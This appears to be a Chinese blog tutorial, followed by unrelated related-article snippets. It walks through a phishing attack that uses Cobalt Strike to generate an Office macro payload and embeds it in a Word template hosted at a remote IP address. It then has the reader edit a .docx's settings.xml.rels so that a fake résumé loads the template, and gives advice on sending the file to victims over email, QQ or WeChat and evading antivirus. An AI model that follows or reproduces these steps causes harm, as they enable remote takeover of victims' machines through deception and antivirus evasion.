0x00 前言

利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码。
这里,我们借助CobaltStrike生成office宏病毒,在将恶意宏嵌入到Word模板中,诱使受害者远程打开并加载带有宏的恶意Word模版,至目标主机成功上线CobaltStrike。

缺点:目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github),受害者可能在文件打开一半的时候强制关闭word。加载位于github上的恶意模板内容,有点慢,我们可以放在vps上,这样速度就快些了。

优点:因为是远程加载,所以免杀效果十分不错。基本不会被杀毒软件拦截。

0x01 操作演示

第一步:制作一个恶意的模版并确保能够上线
这里以cs的宏木马为例。
依次点击攻击——>生成后门——>MS Office Macro:

然后选择一个监听器,点击Generate:

然后点击Copy Macro:

此时便将恶意的VB代码获取到了剪切板中。
然后打开word编辑器,在工具栏的空白区域右键,点击自定义功能区:

勾选开发工具选项:

此时就会出现开发工具这一栏,并点击开发工具中的“Visual basic”:

将恶意代码复制到project的指定地点如下图所示:

然后保存关闭代码框,将这个word文件另存为一个启用宏的word模版文件(*.dotm):

这时候可以先测试一下模版能否上线,操作为在模版文件上右键打开,双击是无法打开模版文件的,在模版文件上双击默认是以此模版创建新文件,切记。
右键打开后,CS成功上线:

第二步:制作远程加载恶意宏模版的docx文件
1.将恶意文件上传到服务器
首先将刚才已经制作好的含有恶意代码的模版文件上传到服务器上

开启监听,并在url后面加上?raw=true

http://22.124.56.238:8999/Doc1.dotm?raw=true

2.加载服务器上的恶意文件
打开word找一个任意的模版双击使用

将文件后缀改为zip

将其解压缩:

进入word文件夹中的_rels,找到settings.xml.rels文件

编辑这个文件,将其的target属性的值改为我们上面的那个url,也就是http://22.124.56.238:8999/Doc1.dotm?raw=true

接下来将刚才解压生成的文件压缩回去:

并且将生成的压缩文件改名为后缀名为docx的文件。

将最终生成的恶意文件——我的简历.docx用邮箱钓鱼、qq或微信文件发送给受害者,当受害者双击打开“我的简历.docx”文件是,恶意代码会执行,目标主机会上线

火绒查杀,并未发现

注意:将该恶意文档发给其他人,只要他是用word打开(wps不行),并且开启了宏,我们的CS就会收到弹回来的shell。
word开启或禁用宏:文件——>选项——>信任中心——>信任中心设置

默认情况下是“禁用所有宏,并发出通知”,这种情况下,当我们打开恶意文件时,会询问你是否“启用内容”:

这时,受害者只有点击了“启用内容”后恶意代码才会执行,目标主机才能上线(当然对方主机如果安装了杀软,如果进行注入,杀软会进行动态查杀,恶意文件将不会起作用)。

参考文章:钓鱼攻击:远程加载恶意Word模版文件上线CS

钓鱼攻击之远程加载恶意Word模版文件上线CS的更多相关文章

  1. 在Unity中创建可远程加载的.unity3d包

    在一个Unity项目中,发布包本身不一定要包括所有的Asset(译为资产或组件),其它的部分可以单独发布为.unity3d,再由程序从本地/远程加载执行,这部分不在本文讨论范围.虽然Unity并没有直 ...

  2. Ext2.0之Tabpanel AJAX远程加载多标签页面模式开发技巧

    目前开发的方式是采用远程load页面来实现多页面效果,类似于126邮箱多标签页效果.但是比126邮箱的方式更好,因为页面打开后是load到本地的,126似乎还会重新请求.在近期项目该开发方式已经基本成 ...

  3. CSS远程加载字体

    CSS 远程加载字体的方法,做网站CSS的都知道,用户浏览网站时,网页上的字体是加载本地的.换言之,如果网站使用了用户电脑所没有安装的字体,那显示字体就会被默认字体所代替了,自然效果就大受影响了. 上 ...

  4. bootstrap模态框远程加载网页的正确处理方式

    bootstrap模态框远程加载网页的方法 在bootsrap模态框文档里给出了这个方法: 使用链接模式 <a data-toggle="modal" href=" ...

  5. Bootstrap Modal 使用remote从远程加载内容

        Bootstrap的Modal这个模态窗组件还是很好用的,但在开发的过程中模态窗中的内容大部分都是从后端加载的.要实现模态窗的内容是从后端加载话,常用的实现方式有2种.它们是:     (1) ...

  6. 【微信小游戏】文件系统,远程加载资源打破4M限制

    一.前提 微信小游戏,对游戏包体的大小有严格是限制,上传文件大小<4M,但是本地缓存文件有50M空间,也就是说我们可以将一些资源放到网上,然后缓存到本地. 二.官方概念 文件系统 文件系统是小程 ...

  7. 背水一战 Windows 10 (11) - 资源: CustomResource, ResourceDictionary, 加载外部的 ResourceDictionary 文件

    [源码下载] 背水一战 Windows 10 (11) - 资源: CustomResource, ResourceDictionary, 加载外部的 ResourceDictionary 文件 作者 ...

  8. 资源: CustomResource, ResourceDictionary, 加载外部的 ResourceDictionary 文件

    CustomResource ResourceDictionary 加载外部的 ResourceDictionary 文件 示例1.演示“CustomResource”相关知识点Resource/Cu ...

  9. JQuery 加载 CSS、JS 文件

    JS 方式加载 CSS.JS 文件: //加载 css 文件 function includeCss(filename) { var head = document.getElementsByTagN ...

随机推荐

  1. Sentry 开发者贡献指南 - 前端(ReactJS生态)

    内容整理自官方开发文档 系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒上手 Source Map ...

  2. Wireshark(二):应用Wireshark观察基本网络协议

    原文出处: EMC中文支持论坛 TCP: TCP/IP通过三次握手建立一个连接.这一过程中的三种报文是:SYN,SYN/ACK,ACK. 第一步是找到PC发送到网络服务器的第一个SYN报文,这标识了T ...

  3. 万字教你如何用 Python 实现线性规划

    摘要:线性规划是一组数学和计算工具,可让您找到该系统的特定解,该解对应于某些其他线性函数的最大值或最小值. 本文分享自华为云社区<实践线性规划:使用 Python 进行优化>,作者: Yu ...

  4. 使用.NET 6开发TodoList应用(2)——项目结构搭建

    为了不影响阅读的体验,我把系列导航放到文章最后了,有需要的小伙伴可以直接通过导航跳转到对应的文章 : P TodoList需求简介 首先明确一下我们即将开发的这个TodoList应用都需要完成什么功能 ...

  5. Spring事务什么时候会失效?

    面试官:Spring事务什么时候会失效? 应聘者: 访问权限问题 方法用final修饰 未被Spring管理 错误的传播特性 自己吞了异常 手动抛了别的异常 自定义了回滚异常 方法内部调用 1.访问权 ...

  6. CF169A Chores 题解

    Content 两兄弟要分担 \(n\) 件家务,第 \(i\) 件家务有一个复杂度 \(h_i\).兄弟俩以一个数 \(x\) 为界.所有满足复杂度 \(>x\) 的家务都给哥哥做,其余的给弟 ...

  7. Python3 中bytes数据类型深入理解(ASCII码对照表)

    bytes的来源 bytes 是 Python 3.x 新增的类型,在 Python 2.x 中是不存在的. bytes 的意思是"字节",以字节为单位存储数据.而一个字节二进制为 ...

  8. C# 使用Fluent API 创建自己的DSL

    DSL(Domain Specified Language)领域专用语言是描述特定领域问题的语言,听起来很唬人,其实不是什么高深的东西.看一下下面的代码: using FlunetApiDemo; v ...

  9. 使用xlsx实现Excel导入

    需求 实现在系统里批量导入数据,通过上传一个excel文件,前端将文件处理为json数据发送给后端.(最好与后端定义好上传的文件模板,方便处理数据) 实现 使用xlsx: xlsx的github地址: ...

  10. 用setTimeout实现setInterval

    timerFun(); function timerFun() { console.log("实现操作部分") let timer = setTimeout(function () ...